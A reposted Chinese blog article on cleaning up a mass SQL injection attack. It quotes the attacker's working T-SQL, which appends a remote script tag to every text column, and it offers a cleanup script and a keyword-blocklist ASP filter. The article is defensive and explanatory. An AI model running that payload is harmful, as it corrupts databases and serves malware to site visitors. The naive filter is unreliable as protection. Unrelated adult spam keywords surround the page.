91网首页-91网页版-91网在线观看-91网站免费观看-91网站永久视频-91网站在线播放

LOGO OA教程 ERP教程 模切知識(shí)交流 PMS教程 CRM教程 開發(fā)文檔 其他文檔  
 
網(wǎng)站管理員

sql注入【轉(zhuǎn)】

admin
2011年2月28日 11:22 本文熱度 3423

最近客戶的網(wǎng)站被 注入了<script src=http://www.nmidahena.com/1.js></script>。整個(gè)網(wǎng)站的數(shù)據(jù)庫(kù)基本上都在內(nèi)容的后面加入了 <script src=http://www.nmidahena.com/1.js></script>


經(jīng)分析,網(wǎng)站不止一次被注入。


在網(wǎng)上查詢 了一些資料,注入的SQL語(yǔ)句是這樣的:


===============================================


DECLARE @T varchar(255), @C varchar(255)
DECLARE Table_Cursor CURSOR
FOR
select a.name, b.name
from   sysobjects a,syscolumns b
where  a.id = b.id
 and a.xtype = 'u'
 and ( b.xtype = 99
 or b.xtype = 35
 or b.xtype = 231
 or b.xtype = 167
 )
OPEN Table_Cursor
 FETCH NEXT FROM Table_Cursor INTO @T, @C
 WHILE( @@FETCH_STATUS = 0 )
 BEGIN
 exec
  ( 'update [' + @T + '] set [' + @C + ']=rtrim(convert(varchar,['
  + @C + ']))+''<script src=http://www.nmidahena.com/1.js></script>''' )


  FETCH NEXT FROM Table_Cursor INTO @T, @C
 END
CLOSE Table_Cursor


DEALLOCATE Table_Cursor


==============================================


數(shù)據(jù)庫(kù)里的varchar,nvarchar,ntext這些類型的字段基本上都被感染。


更無(wú)恥的就是,如果字段的大小過小,他會(huì)把原有的內(nèi)容刪掉。而保存完整的<script src=http://www.nmidahena.com/1.js></script>。很多數(shù)據(jù)都被破壞了。


花了一天的功夫終于寫出來清除這些小尾巴的方法:


===============================================


DECLARE @T varchar(255), @C varchar(255)
DECLARE Table_Cursor CURSOR
FOR
select a.name, b.name
from   sysobjects a,syscolumns b
where  a.id = b.id
 and a.xtype = 'u'
 and ( b.xtype = 99
 or b.xtype = 35
 or b.xtype = 231
 or b.xtype = 167
 )
OPEN Table_Cursor
 FETCH NEXT FROM Table_Cursor INTO @T, @C
 WHILE( @@FETCH_STATUS = 0 )
BEGIN
exec


 ('update [' + @T + '] set [' + @C + '] = ( case  when
 ( CHARINDEX(''<script'', [' + @C + '])>0)
 then
 left( rtrim(convert(nvarchar,['+ @C + '])), CHARINDEX(''<script'', ['+ @C + '] )-1)
else
 [' + @C + ']
end )


')


FETCH NEXT FROM Table_Cursor INTO @T, @C
END
CLOSE Table_Cursor


DEALLOCATE Table_Cursor


==============================================


這里CHARINDEX(''<script'', ['+ @C + '] ) 是因?yàn)橛泻芏嘧侄伪欢啻胃腥荆闪?lt;script src=<script src=http://www.nmidahena.com/1.js></script>這樣的內(nèi)容。所以以<script 為標(biāo)志,全部刪除。這樣可能會(huì)刪除一些合法的,但是沒辦法。。。如果要清理干凈。必須得這么做。


做完以為,對(duì)網(wǎng)站進(jìn)行一下SQL的重點(diǎn)過濾:


==========FilterSqlAttack.asp==============


<%
Call FilterSqlAttack()
Sub FilterSqlAttack()
 dim sql_leach,sql_leach_0,Sql_DATA,SQL_Get,Sql_Post
 sql_leach = "and,exec,insert,select,delete,update,count,*,%,chr,mid,master,truncate,char,declare"
 sql_leach_0 = split(sql_leach,",")
 
 If Request.QueryString<>"" Then
  For Each SQL_Get In Request.QueryString
   For SQL_Data=0 To Ubound(sql_leach_0)
    if instr(LCase(Request.QueryString(SQL_Get)),sql_leach_0(SQL_Data))>0 Then
     Response.Write "請(qǐng)不要嘗試進(jìn)行SQL注入!"
     Response.end
    end if
   next
  Next
 End If
 
 
 If Request.Form<>"" Then
  For Each Sql_Post In Request.Form
   For SQL_Data=0 To Ubound(sql_leach_0)
    if instr(LCase(Request.Form(Sql_Post)),sql_leach_0(SQL_Data))>0 Then
     Response.Write "請(qǐng)不要嘗試進(jìn)行SQL注入!"
     Response.end
    end if
   next
  next
 end if


 If Request.Cookies<>"" Then
  For Each Sql_Post In Request.Cookies
   For SQL_Data=0 To Ubound(sql_leach_0)
    if instr(LCase(Request.Cookies(Sql_Post)),sql_leach_0(SQL_Data))>0 Then
     Response.Write "含有非法字符,已記錄IP"
     Response.end
    end if
   next
  next
 end if
End Sub
%>


==========================


本文來自CSDN博客,轉(zhuǎn)載請(qǐng)標(biāo)明出處:http://blog.csdn.net/RyanGT/archive/2008/04/08/2260742.aspx


該文章在 2011/2/28 11:22:20 編輯過
關(guān)鍵字查詢
相關(guān)文章
正在查詢...
點(diǎn)晴ERP是一款針對(duì)中小制造業(yè)的專業(yè)生產(chǎn)管理軟件系統(tǒng),系統(tǒng)成熟度和易用性得到了國(guó)內(nèi)大量中小企業(yè)的青睞。
點(diǎn)晴PMS碼頭管理系統(tǒng)主要針對(duì)港口碼頭集裝箱與散貨日常運(yùn)作、調(diào)度、堆場(chǎng)、車隊(duì)、財(cái)務(wù)費(fèi)用、相關(guān)報(bào)表等業(yè)務(wù)管理,結(jié)合碼頭的業(yè)務(wù)特點(diǎn),圍繞調(diào)度、堆場(chǎng)作業(yè)而開發(fā)的。集技術(shù)的先進(jìn)性、管理的有效性于一體,是物流碼頭及其他港口類企業(yè)的高效ERP管理信息系統(tǒng)。
點(diǎn)晴WMS倉(cāng)儲(chǔ)管理系統(tǒng)提供了貨物產(chǎn)品管理,銷售管理,采購(gòu)管理,倉(cāng)儲(chǔ)管理,倉(cāng)庫(kù)管理,保質(zhì)期管理,貨位管理,庫(kù)位管理,生產(chǎn)管理,WMS管理系統(tǒng),標(biāo)簽打印,條形碼,二維碼管理,批號(hào)管理軟件。
點(diǎn)晴免費(fèi)OA是一款軟件和通用服務(wù)都免費(fèi),不限功能、不限時(shí)間、不限用戶的免費(fèi)OA協(xié)同辦公管理系統(tǒng)。
Copyright 2010-2025 ClickSun All Rights Reserved

主站蜘蛛池模板: 国产在线观看色 | 国产理论在线观 | 午夜剧场 | 国产精选在 | 国产日韩欧美乱码 | 精品福利一二区 | 国产乱码精品一区 | 99热在线观看精品 | 另类小说自拍 | 国产性色强伦免 | 3D成人性动漫入口 | 91视频网站免费 | 变态91 | 黑人大战亚洲 | 国产欧美整片∧v | 欧美日韩日本日日骚 | 国产精彩亚洲中文 | 理论片午夜 | 国产乡下妇女三片 | 国产日韩3在线观看 | 日韩精品视 | 国产亚洲欧美色 | 日本A高清| 动漫h片在线 | 欧美亚洲日产 | 三区爱欲 | 福利导航小视频在线 | 日韩欧美理论在线观 | 日本精品大乳一区 | 日韩精品亚洲a | 午夜99| 国产阿v在线观 | 97视频观看 | 国产丰满 | 欧洲乱码 | 乱理伦片免费观看 | 欧美一卡二三 | 韩国三级网 | 91大神精品在线观 | 国产资源一区 | 国产主播在线资源网 |